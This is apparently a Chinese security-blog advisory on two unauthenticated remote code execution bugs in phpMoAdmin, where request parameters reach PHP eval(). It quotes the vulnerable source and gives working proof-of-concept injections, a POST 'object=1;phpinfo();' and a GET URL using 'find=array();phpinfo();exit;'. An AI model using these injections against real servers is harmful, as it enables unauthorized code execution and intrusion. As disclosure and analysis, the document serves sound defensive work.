phpMoAdmin是一款便捷的在线MongoDB管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON格式数据的导入导出的php应用。

最近名为sp1nlock的黑客公布了phpmoadmin的一个任意代码执行漏洞,该漏洞可能导致使用该管理程序的用户被入侵。

经阿里攻防实验室研究员经过简单分析后,在该应用中发现另外一处类似的远程代码执行漏洞(0day)。

phpmoadmin

0x01 已公开漏洞分析

漏洞文件moadmin.php,无验证登录权限。

 

public function __construct() {

        ….省略若干行…

        $action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');

        if (isset($_POST['object'])) { //通过object参数传入

            if (self::$model->saveObject($_GET['collection'], $_POST['object']))  //传入saveObject函数,导致代码漏洞{

                return $this->_dumpFormVals();

 

saveObject函数:

public function saveObject($collection, $obj) {

        eval('$obj=' . $obj . ';'); //$obj参数可控,传入Eval执行

        return $this->mongo->selectCollection($collection)->save($obj);

}

 

0x02 利用

 

通过post传object=1;phpinfo();

phpmoadmin1

 

0x03 0day分析

该程序存在另外一处任意代码执行漏洞,位置552-557行listRows函数

2067d79c-2e6a-4449-b9e2-890cd683e4c3

 public function listRows($collection) {

        foreach ($this->sort as $key => $val) { //cast vals to int

            $sort[$key] = (int) $val;

        }

        $col = $this->mongo->selectCollection($collection);

        $find = array();

        if (isset($_GET['find']) && $_GET['find']) {//通过get方法传入find变量

            $_GET['find'] = trim($_GET['find']);

            if (strpos($_GET['find'], 'array') === 0) {//$find简单判断变量是否以array开头,为真则进入漏洞位置

                eval('$find = ' . $_GET['find'] . ';');//传入eval执行任意代码

            } else if (is_string($_GET['find'])) {

                if ($findArr = json_decode($_GET['find'], true)) {

                    $find = $findArr;

                }

            }

        }

 

0x04 0day利用

 

比较没有营养 随手搜搜就出来2个eval  安全脉搏小编辑就直接写了吧
http://ip/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;

phpmoadmin2

 

【原文:阿里巴巴安全研究实验室--conqu3r SP小编整理发布】

源链接

Hacking more

...